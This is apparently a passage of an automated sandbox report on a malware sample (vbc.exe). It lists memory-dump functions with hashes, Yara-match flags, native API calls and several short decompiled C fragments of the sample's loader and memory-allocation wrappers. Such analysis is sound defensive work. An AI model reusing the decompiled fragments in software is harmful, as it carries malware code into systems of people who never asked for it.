Instruction Fuzzy Hash: 85C02B2540C3C41ECB2342B0245C4C47F100D1300871801CFCC684C4B3D84540499313

Uniqueness

Uniqueness Score: -1.00%

Function 001E20E1, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdb72b7abb810e177ab1b35f489ec3e935d55910f2b2a5ffc709167c187c2915
Instruction ID: 70b6bdea313db9c939b429e018ade9f37652b118b4f0357890fac800f70285b8
Opcode Fuzzy Hash: fdb72b7abb810e177ab1b35f489ec3e935d55910f2b2a5ffc709167c187c2915
Instruction Fuzzy Hash: F5C04C6518E1D45ECB02037538697A47F645F46109F0C01C9D5CA45863C16500558605

Uniqueness

Uniqueness Score: -1.00%

Function 001E2580, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79a13f34584defdca235b799d1b828a2c8c31dd1e8bba79713e0f379b1fe5d5a
Instruction ID: 3500fcb77b3068117070a2755b6df40992440358c719d221bb354a181ae4356b
Opcode Fuzzy Hash: 79a13f34584defdca235b799d1b828a2c8c31dd1e8bba79713e0f379b1fe5d5a
Instruction Fuzzy Hash: 22B092311502088F83009B68E548C0137A8AB08A143110090E1088B232C621F8008A51

Uniqueness

Uniqueness Score: -1.00%

Function 001E20F0, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a5b1c893c55ce4050cc8e581a5db09183727b670c513c17fe7f29f3e3a55f3f
Instruction ID: 3b986706c7d259c5a72890079a57d2c1f6dc1b60b3e1844b275883e76eb1644a
Opcode Fuzzy Hash: 2a5b1c893c55ce4050cc8e581a5db09183727b670c513c17fe7f29f3e3a55f3f
Instruction Fuzzy Hash: 2090023104460C8B494027957C09955B76C97446157804051A60D429525A65749445D9

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00454A71, Relevance: 2.7, Strings: 2, Instructions: 223COMMON

Download Yara Rule

Strings

\*, xrefs: 00454DC3
\*, xrefs: 00454DCA

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID:
String ID: \*$\*
API String ID: 0-3873335992
Opcode ID: 9edef871fded044ce986012c4fc9476257e4104a122c6fe85dd912d24de9f2b7
Instruction ID: f801e454646927bd94a20a952a57580a52d11c6e32f7ab74ece920e0d92943d3
Opcode Fuzzy Hash: 9edef871fded044ce986012c4fc9476257e4104a122c6fe85dd912d24de9f2b7
Instruction Fuzzy Hash: 5391B374D042588FCB14CFA5C9906EDBBB2FF85304F2481AAD859AB352C7306A86CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00455EA1, Relevance: 2.7, Strings: 2, Instructions: 186COMMON

Download Yara Rule

Strings

"1<, xrefs: 00455FE1
v`^M, xrefs: 00455F77

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID:
String ID: v`^M$"1<
API String ID: 0-3614127125
Opcode ID: ee24ff23c40ec267b0aba548bf4090b6762af2facc2f59b1e0bbe2ac9c7b566b
Instruction ID: 3634a9119781b017388d07a63a7b8fd82f1bc7847b1f8a32768ecacbd85960d6
Opcode Fuzzy Hash: ee24ff23c40ec267b0aba548bf4090b6762af2facc2f59b1e0bbe2ac9c7b566b
Instruction Fuzzy Hash: A071D075E0120A8FCB04CFE9C440AEEFBF2EF88311F54D426D915AB215D7389A458F94

Uniqueness

Uniqueness Score: -1.00%

Function 001E5A8A, Relevance: 2.7, Strings: 2, Instructions: 178COMMON

Download Yara Rule

Strings

/r;=, xrefs: 001E54A6
y, xrefs: 001E57B3

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID: /r;=$y
API String ID: 0-394429618
Opcode ID: 1f3914fdaf8e4312c21bdc7ef0a65ec2d21912be2434b6c135e82dff788b173b
Instruction ID: aca8fb6ba14bb9ffe3cf35e6bb2f4e966458fd10d9bf7aad424f1acf8cf966a1
Opcode Fuzzy Hash: 1f3914fdaf8e4312c21bdc7ef0a65ec2d21912be2434b6c135e82dff788b173b
Instruction Fuzzy Hash: 249182B0D1252D8FEBA4DF29C945B8CBBF1BB48300F4181E9D24CE6244EB309A958F15

Uniqueness

Uniqueness Score: -1.00%

Function 001E5490, Relevance: 2.7, Strings: 2, Instructions: 172COMMON

Download Yara Rule

Strings

/r;=, xrefs: 001E54A6
y, xrefs: 001E57B3

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID: /r;=$y
API String ID: 0-394429618
Opcode ID: 1eb7281009eb70c3e968a55d4e43ad6f62b791272497c7b15da065c48c9f4f5d
Instruction ID: 26b187f529dade154c4afa929ef550a69c805a842e2c09424322e9d8fe4487e8
Opcode Fuzzy Hash: 1eb7281009eb70c3e968a55d4e43ad6f62b791272497c7b15da065c48c9f4f5d
Instruction Fuzzy Hash: 039182B1E1252D8FDBA4DF29C945B8DBBF1BF48300F4181E9D24CE6244EB309A958F15

Uniqueness

Uniqueness Score: -1.00%

Function 001EF0A0, Relevance: 1.4, Strings: 1, Instructions: 190COMMON

Download Yara Rule

Strings

J, xrefs: 001EF129

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID: J
API String ID: 0-793186624
Opcode ID: 617191e35a85dceb83567f2ca0ba5a551b2d7deae90752270fcd70581ec722c8
Instruction ID: caaf09747ab582d63c2080da015b9f0c2f4e3fe6ed59f24924d6d5ae5f7c929e
Opcode Fuzzy Hash: 617191e35a85dceb83567f2ca0ba5a551b2d7deae90752270fcd70581ec722c8
Instruction Fuzzy Hash: A481F374E1165ACFCB08CF99C58499EFBF2FF88310F259569E419AB225D330AA42CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00450600, Relevance: 1.4, Strings: 1, Instructions: 168COMMON

Download Yara Rule

Strings

r~Ll, xrefs: 004506FA

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID:
String ID: r~Ll
API String ID: 0-2799034155
Opcode ID: 1e1ac05a2dae1f4b44b9d7e767223b1e53488c30d14a2fba1b7f12a5f80a199d
Instruction ID: a1ee4545e051073738d6fbb583c928113d28bd586e38ec75efc2d7be7f36211b
Opcode Fuzzy Hash: 1e1ac05a2dae1f4b44b9d7e767223b1e53488c30d14a2fba1b7f12a5f80a199d
Instruction Fuzzy Hash: 8561E678E152098FCB44CFA9C5809DEFBF2EF89311F24942AD415B7325D334AA46CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00450610, Relevance: 1.4, Strings: 1, Instructions: 167COMMON

Download Yara Rule

Strings

r~Ll, xrefs: 004506FA

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID:
String ID: r~Ll
API String ID: 0-2799034155
Opcode ID: 54142a548823e78a6d577a6d289482362178f37d12b8f8eeb55a4a549e0c78ac
Instruction ID: 04926b7f5dea25f46c7c65fcfcde9fbdb24ac17e5503d70cda79b3cc2fdb677a
Opcode Fuzzy Hash: 54142a548823e78a6d577a6d289482362178f37d12b8f8eeb55a4a549e0c78ac
Instruction Fuzzy Hash: 3571C374E152098FCB44CF99C5809DEFBF2AF89311F24942AD815B7325D334AA46CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00450878, Relevance: 1.4, Strings: 1, Instructions: 119COMMON

Download Yara Rule

Strings

N"sA, xrefs: 004508D7

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID:
String ID: N"sA
API String ID: 0-1687108015
Opcode ID: 07a99793878a581be1c9427f9f063715cbacdcba5935b61bc03295e859e2fe42
Instruction ID: b07466344c0087b726f5e0be0a8e3a01d5df9e4c2dadf6403d2c9022492225d0
Opcode Fuzzy Hash: 07a99793878a581be1c9427f9f063715cbacdcba5935b61bc03295e859e2fe42
Instruction Fuzzy Hash: 344139B5E0560ADFCB48CFA5C5814AEFBF2FF89300F24C56AC905B7215E3349A468B95

Uniqueness

Uniqueness Score: -1.00%

Function 00450888, Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

N"sA, xrefs: 004508D7

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID:
String ID: N"sA
API String ID: 0-1687108015
Opcode ID: ec8af3e3532d0247098e56993b1332929491da190d096600dc22055ee127fa85
Instruction ID: 5e31c3691aedf7ffc1c924ed55642eed08149c149131646b6400765146931249
Opcode Fuzzy Hash: ec8af3e3532d0247098e56993b1332929491da190d096600dc22055ee127fa85
Instruction Fuzzy Hash: C44109B5E0560ADFCB44CFA5C5814AEFBF2FF88300F24C56AC915B7215E3349A458B95

Uniqueness

Uniqueness Score: -1.00%

Function 004561C0, Relevance: 1.4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

Strings

$b4, xrefs: 0045627D

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID:
String ID: $b4
API String ID: 0-3061500606
Opcode ID: aff68e749597f25247dda1ab6ea60bef2a1c253f44db9878ad5b71130c0f97b1
Instruction ID: cf3ba3ef298a2304af2bc65b113dc434ed97b4a4a2277db5541bc8dc22db8ec5
Opcode Fuzzy Hash: aff68e749597f25247dda1ab6ea60bef2a1c253f44db9878ad5b71130c0f97b1
Instruction Fuzzy Hash: 34414C70E012188BDB58CFA9D98079EFBF6BB88300F54C4AAD90CA7315DB3459858F55

Uniqueness

Uniqueness Score: -1.00%

Function 0045509D, Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

Y4, xrefs: 004550D0

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID:
String ID: Y4
API String ID: 0-185860183
Opcode ID: c7b0ccc982afd7ee9d6f5c1df0570890bd066eda63b09eb79f18766b1418b400
Instruction ID: d90d03995a4283cbd88ac30d9c6a7bba2148b81d4d54e2f687bb6898dcdf06db
Opcode Fuzzy Hash: c7b0ccc982afd7ee9d6f5c1df0570890bd066eda63b09eb79f18766b1418b400
Instruction Fuzzy Hash: D731C470D1565C8FDB09CF6A9C546EEFBB2EFC6200F14C1ABC858AB252D630560A8B55

Uniqueness

Uniqueness Score: -1.00%

Function 001E32A1, Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a282187c0015b358652327908f38e6a637f6518cf99c6a79c790ec5aae4aa9a
Instruction ID: 9ffe072a8250ff94264d0d59d9f67e13b84958ee7d0c8901cb8a1ae0993ed3f5
Opcode Fuzzy Hash: 2a282187c0015b358652327908f38e6a637f6518cf99c6a79c790ec5aae4aa9a
Instruction Fuzzy Hash: 0851B030D102488FD744EFB9E850A9D7BF2BFC4304F10C938D109AB666EB7559868F92

Uniqueness

Uniqueness Score: -1.00%

Function 001E32B0, Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b642ba9003b149c4963acb291588f2e0210eb113074220512545edc8eb3106ac
Instruction ID: c9def48836314cb5b3b87555d375fb659c7ec279a4bf30a9b6239980fcd7ed80
Opcode Fuzzy Hash: b642ba9003b149c4963acb291588f2e0210eb113074220512545edc8eb3106ac
Instruction Fuzzy Hash: 425190309102498FD744EFB9E854A8D7BF2AFC4304F10C938D109AB665EB7559868F92

Uniqueness

Uniqueness Score: -1.00%

Function 004503D8, Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0988c43f88785878aef09c7d874ddb9297d31819260c1e02cd1c98d303775219
Instruction ID: c5d89c577f02020527d14467376da362d5594a862ab3ae87752672a360002bc7
Opcode Fuzzy Hash: 0988c43f88785878aef09c7d874ddb9297d31819260c1e02cd1c98d303775219
Instruction Fuzzy Hash: 0741F874E0420ADFCB04CFAAC5805AEFBF2AF89301F24D42AD515B7215D3389A468F99

Uniqueness

Uniqueness Score: -1.00%

Function 004515D0, Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5ad7741cd392f12a07c548bce37e956708ef503823a1e645ebec4b28f46f1b9
Instruction ID: 8dbc4f898b478f8571904c50edacea4354a3110e06cd42d80d1c2850a339e755
Opcode Fuzzy Hash: f5ad7741cd392f12a07c548bce37e956708ef503823a1e645ebec4b28f46f1b9
Instruction Fuzzy Hash: 03416F71E106188BEB18CF6B9D4438EFBF3BFC8301F14C1BA850CA6225DB341A858E11

Uniqueness

Uniqueness Score: -1.00%

Function 00450BE7, Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b65c50a9787f7ee243fe169140e5d96bfa8ea7a29f338e89aeb0ef5e108675d
Instruction ID: 85f7b872c92a76e451be2c7dee47a6fc1f780d816a816d9a0bf865734ca03179
Opcode Fuzzy Hash: 5b65c50a9787f7ee243fe169140e5d96bfa8ea7a29f338e89aeb0ef5e108675d
Instruction Fuzzy Hash: 31410338A01218CFD754DBA8C680A8EF7B3FF45356F54C996D809AB212C334DA85CF49

Uniqueness

Uniqueness Score: -1.00%

Function 001EB4E0, Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2b7bf67401dbb3d4251a0d3664ceede7ef2cc7a816269a1c0afbb33c48b5415
Instruction ID: ac929e9e096c4162f5b6e1308eccffecb12334b253eb5ee272ba82191f0fe18d
Opcode Fuzzy Hash: e2b7bf67401dbb3d4251a0d3664ceede7ef2cc7a816269a1c0afbb33c48b5415
Instruction Fuzzy Hash: E4310D71E046589FEB18CFABD84069EBBF7AFC9300F05C0BAD508AB225DB3059418F61

Uniqueness

Uniqueness Score: -1.00%

Function 001E0F7F, Relevance: 5.0, Strings: 4, Instructions: 23COMMON

Download Yara Rule

Strings

6, xrefs: 001E0FC1
6, xrefs: 001E0FCB
., xrefs: 001E0F9F
., xrefs: 001E0F7F

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID: .$.$6$6
API String ID: 0-3519454862
Opcode ID: 7f50edc6ee5eac1f9a6269d0e1cd732b8bafc71f539335f069c9ff9cd2537cd4
Instruction ID: bc33b037f8982369eab42e18dc004a0505683bdb6e53cf7f5490b8f34ea55d7e
Opcode Fuzzy Hash: 7f50edc6ee5eac1f9a6269d0e1cd732b8bafc71f539335f069c9ff9cd2537cd4
Instruction Fuzzy Hash: F6F0FE709446989BEB358FA6D44839DBAF1AB08348F34445EC00057182D7F94AC5CF01

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vbc.exe PID: 2936 Parent PID: 2336 vbc.exeCOMMON

Executed Functions

Function 00419DA9, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(2MA,5EB6522D,FFFFFFFF,004149F1,?,?,2MA,?,004149F1,FFFFFFFF,5EB6522D,00414D32,?,00000000), ref: 00419E45

Strings

2MA, xrefs: 00419E22, 00419E30
2MA, xrefs: 00419E3D, 00419E44

Memory Dump Source

Source File: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: 2MA$2MA
API String ID: 2738559852-947276439
Opcode ID: 1602d10d5101f98693d435c84c5cfb66a4b2adc4893b173d21e0c6d2e8c925fd
Instruction ID: f1f2dead1fad3e74dad8768281147501293739708fdb763128d3229441b3bfc5
Opcode Fuzzy Hash: 1602d10d5101f98693d435c84c5cfb66a4b2adc4893b173d21e0c6d2e8c925fd
Instruction Fuzzy Hash: 5A2106B2200108AFCB18DF99DC91EEB77ADEF8C354F158249FA1DA7241C630E851CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00419E00, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(2MA,5EB6522D,FFFFFFFF,004149F1,?,?,2MA,?,004149F1,FFFFFFFF,5EB6522D,00414D32,?,00000000), ref: 00419E45

Strings

2MA, xrefs: 00419E22, 00419E30
2MA, xrefs: 00419E3D, 00419E44

Memory Dump Source

Source File: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: 2MA$2MA
API String ID: 2738559852-947276439
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: e2eeafcdabc96c90d19f56ab9cfe9238ee24689222a5818d11d4b5cf4f7c0d6d
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: 90F0B7B2210208AFCB14DF89DC91EEB77ADEF8C754F158649BE1D97241D630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419D50, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00409CC3,?,wKA,00409CC3,FFFFFFFF,?,?,FFFFFFFF,00409CC3,00414B77,?,00409CC3,00000060,00000000,00000000), ref: 00419D9D

Strings

wKA, xrefs: 00419D89, 00419D94

Memory Dump Source

Source File: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID: wKA
API String ID: 823142352-3165208591
Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: 0d977cd1f4fbd36c9bd444ef8f6a04c43f7f15de33bda2cf86b45a3658e1eede
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: BFF0BDB2211208AFCB08CF89DC95EEB77ADAF8C754F158248BA1D97241C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACC0, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACC0(void* __eflags, void* _a4, intOrPtr _a8) {
				char* _v8;
				struct _EXCEPTION_RECORD _v12;
				struct _OBJDIR_INFORMATION _v16;
				char _v536;
				void* _t15;
				struct _OBJDIR_INFORMATION _t17;
				struct _OBJDIR_INFORMATION _t18;
				void* _t30;
				void* _t31;
				void* _t32;

				_v8 =  &_v536;
				_t15 = E0041C640( &_v12, 0x104, _a8);
				_t31 = _t30 + 0xc;
				if(_t15 != 0) {
					_t17 = E0041CA60(__eflags, _v8);
					_t32 = _t31 + 4;
					__eflags = _t17;
					if(_t17 != 0) {
						E0041CCE0( &_v12, 0);
						_t32 = _t32 + 8;
					}
					_t18 = E0041AE90(_v8);
					_v16 = _t18;
					__eflags = _t18;
					if(_t18 == 0) {
						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
						return _v16;
					}
					return _t18;
				} else {
					return _t15;
				}
			}

0x0040acdc
0x0040acdf
0x0040ace4
0x0040ace9
0x0040acf3
0x0040acf8
0x0040acfb
0x0040acfd
0x0040ad05
0x0040ad0a
0x0040ad0a
0x0040ad11
0x0040ad19
0x0040ad1c
0x0040ad1e
0x0040ad32
0x00000000
0x0040ad34
0x0040ad3a
0x0040acee
0x0040acee
0x0040acee

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040AD32

Memory Dump Source

Source File: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction ID: 8d9c8c5cc187846e167d7fc499b748faaade23025a89af1130ee390205ce80a6
Opcode Fuzzy Hash: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction Fuzzy Hash: C40152B5D4020DA7DB10DBE5DC42FDEB7789F14308F0041AAE908A7281F634EB54C795

Uniqueness

Uniqueness Score: -1.00%

Function 00419E7A, Relevance: 1.5, APIs: 1, Instructions: 43
nativeCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00419E7A(void* __ecx, intOrPtr _a4, void* _a8) {
				long _t10;
				void* _t14;
				void* _t15;

				asm("lock loopne 0x48");
				_t7 = _a4;
				_t4 = _t7 + 0x10; // 0x300
				_t5 = _t7 + 0xc50; // 0x40a913
				E0041A950(_t14, _a4, _t5,  *_t4, 0, 0x2c, _t15);
				_t10 = NtClose(_a8); // executed
				return _t10;
			}

0x00419e7d
0x00419e83
0x00419e86
0x00419e8f
0x00419e97
0x00419ea5
0x00419ea9

APIs

NtClose.NTDLL(00414D10,?,?,00414D10,00409CC3,FFFFFFFF), ref: 00419EA5

Memory Dump Source

Source File: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 0eff1f3a1da78b7e2ae0dee9c4d3c380858e8fe73344ae004333b44432362a1b
Instruction ID: 9344fdb57475838e8843889c56ecfbf53c8809c4df51adc41ba2a37e679dc5d7
Opcode Fuzzy Hash: 0eff1f3a1da78b7e2ae0dee9c4d3c380858e8fe73344ae004333b44432362a1b
Instruction Fuzzy Hash: 3BF03CB5200208ABCB10EF99DC85DEB77ADEF88364F11854AFE5C97281D634E9508BE0

Uniqueness

Uniqueness Score: -1.00%

Function 00419F2D, Relevance: 1.5, APIs: 1, Instructions: 31
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00419F2D(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				intOrPtr _v117;
				long _t16;
				void* _t23;
				void* _t24;

				asm("bound esi, [esi]");
				_v117();
				_t4 = _a4 + 0xc60; // 0xca0
				E0041A950(_t23, _a4, _t4,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x30, _t24);
				_t16 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t16;
			}

0x00419f2d
0x00419f2f
0x00419f3f
0x00419f47
0x00419f69
0x00419f6d

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041AB24,?,00000000,?,00003000,00000040,00000000,00000000,00409CC3), ref: 00419F69

Memory Dump Source

Source File: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 7578e27667dd9c6b3e4c9dabb41f2aaa1eeda76833debe7cfa1d839f5bf2ed05
Instruction ID: 38e4de3d10a0b26fbd05d6a43c61f977fec0be050730d6f047586e43723b4cab
Opcode Fuzzy Hash: 7578e27667dd9c6b3e4c9dabb41f2aaa1eeda76833debe7cfa1d839f5bf2ed05
Instruction Fuzzy Hash: B4F058B2200108AFCB24DF99CC81EEB77A8EF88350F118509FE49A7241C630E810CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00419F30, Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041AB24,?,00000000,?,00003000,00000040,00000000,00000000,00409CC3), ref: 00419F69

Memory Dump Source

Source File: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction ID: c2721ea4e084a79d388e091216dcc94a475298a8aa449db6134383b78daf1f40
Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction Fuzzy Hash: 7DF015B2210208AFCB14DF89CC81EEB77ADAF88754F118549BE1897241C630F810CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419E80, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00414D10,?,?,00414D10,00409CC3,FFFFFFFF), ref: 00419EA5

Memory Dump Source

Source File: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: abd226b249efdbe90954a2e5a1f5a103ee35f8531edac2b51595525400ebd06d
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: FED01776200214ABD710EB99CC86EE77BACEF48760F15449ABA5C9B242C530FA5086E0

Uniqueness

Uniqueness Score: -1.00%

Function 008F00C4, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 008F00CF

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction ID: e6c77262f5ba2182d122b5874ee39bb292c5f7eee28c199429390ea98cabeb31
Opcode Fuzzy Hash: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction Fuzzy Hash: 79B01272100940C7E309D724DD06F4B7210FFC0F01F008A3EA00B81851DA38A93CC846

Uniqueness

Uniqueness Score: -1.00%

Function 008F0048, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 008F0053

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2990f9787256fe8461cfe6d04bba8dff018c5c70436f30267b6dae5db6cec36e
Instruction ID: 41e4343c146f66e2bb318e135f4e172b2897deff735033a37a94e91f6413aa4b
Opcode Fuzzy Hash: 2990f9787256fe8461cfe6d04bba8dff018c5c70436f30267b6dae5db6cec36e
Instruction Fuzzy Hash: DBB012B2100540C7E3099714D946B4B7210FB90F00F40C93BA11B81861DB3C993CD46A

Uniqueness

Uniqueness Score: -1.00%

Function 008F0078, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

